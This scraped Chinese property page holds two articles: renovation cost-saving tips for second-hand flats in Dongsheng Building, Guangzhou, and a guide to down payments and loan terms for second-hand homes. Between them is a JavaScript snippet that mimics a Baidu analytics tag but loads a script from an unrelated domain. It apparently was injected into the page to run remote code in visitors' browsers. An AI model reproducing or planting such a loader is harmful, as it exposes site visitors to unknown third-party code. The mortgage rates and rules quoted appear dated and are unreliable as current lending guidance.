东盛楼二手房翻新装修省钱小妙招

当前广州地价高昂的房地产市场环境下，很多东盛楼居民在购置房屋时选择经济实惠的东盛楼二手房，不仅价格合适，而且获得了良好的地理位置。但是，挑选好了房子，接下来又开始面临二手房翻新装修的问题。那么，东盛楼二手房如何缩减开支呢？其实，只要规划得当，东盛楼二手房在翻新过程中是可以节约一部分开销的。一起来了解一下吧！1、墙体不要随意拆除在东盛楼二手房翻新过程中，很多居民想都没想就会先动手把墙体全面拆除，然后重新改造。但其实墙体的拆除重建将会花费很大一笔开销，如果我们在拆墙前能够谨慎对待，预先考察规划，保留较好的墙面，就可以节省一些不必要的人力物力。2、在翻新过程中善于变废为宝对很多房主来讲，东盛楼二手房的翻新是一个耗资不低的工程，预算比较紧张，这就需要我们能够巧妙利用二手房内的现有资源变废为宝。对于房内原有的物件可以选择性地作保留，比如家中的一些橱柜家具、木地板等，拆除搬运比较麻烦，如果没太大损坏，可以选择继续保留使用。3、卫生间排水不要随意变动很多人翻新旧楼时会对水电大肆改造，但其实这并不是最好的做法。东盛楼二手房内的旧式卫生间一般采用侧排水，考虑到卫生间的地面高度比较高，在改造翻新过程中极有可能会损坏楼板总体结构，也会对楼上下的邻居造成影响，因此建议不要随意拆检卫生间排水系统，尽量保留原有模式，这样也帮助了大家缩减开支。看了上述东盛楼二手房翻新省钱小妙招，希望您能从中有所启发。同时小编提醒大家理性规划，能省的钱要省，不能省的钱千万不要舍不得花，房屋装修还是要谨慎对待。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

二手房可以按揭几成 二手房最多能贷多少年?

如今很多的房地产在开盘时取得预售证以后就开始销售房产，而此时的房价也会相对便宜一些，一旦房屋建成以后，房价也会增长，而且剩余楼层和户型也不是很好，所以很多觉得期房不靠谱的人们，一般会选择购买二手房。但是二手房也有很多不靠谱的地方，大家购买时还需要谨慎。今天小编先给大家说一下购买二手房可以按揭几成?最多能贷款多少年?二手房可以按揭几成?一、首先我们要了解购房者有没有房产，有一套还是两套。1、如果购房者没有房产的，也就是首套二手房，那么二手房贷的首付不低于30%，这里说的30%值得不是成交较而是评估价。而二手房贷款式根据二手房评估作为参考的，而一般评估价都低于市场价格。2、如果购房者都有了一套房产，那么他在二手房首付的时候比例就应该是70%左右，而基准利率目前为6.55%部分银行首套可以做到85折。3、三套房产的情况，如果需要向银行贷款购买二手房的话那么根据规定是不予贷款的。二、二手房贷款首付比例为多少分为以下三种个情况。1、如果上家已经还清了房贷，而且购房者资质很好，就能获得只用支付2成的二手房贷款首付。2、如果上家已经没有偿还清楚贷款的，而且还要求购房者配合还贷的情况，最安全的做法是走资金监管程序。这样首付3成的二手房贷即可。3、如果购房者资金充足，可以一次性支付清楚，这样就不存在首付和房贷的问题了。二手房最多能贷多少年?一、与房龄有关：一般是30年内房龄，最长贷款年限计算：贷款年限+房龄<50(各银行间有差异)二、与贷款人的年龄有关：1、个人住房贷款最长期限为30年;2、个人商业用房贷款最长期限为10年;3、男士年龄不超过60岁，60-你的年龄为男士最长贷款年限;4、女士年龄不超过55岁;55-你的年龄为女士最长贷款年限。二手房的购买首付情况除了和你所拥有的房产情况有一定关系以外，还和你所购买的二手房是否有贷款情款有关系，相对新房而言，二手房贷款情况要更复杂一些，不过如果有中介介入的话，个人需要考虑的问题也就很少了，中介一般都会办妥。小编在上文中也做了一些关于二手房按揭情况的一些介绍，大家可做参考。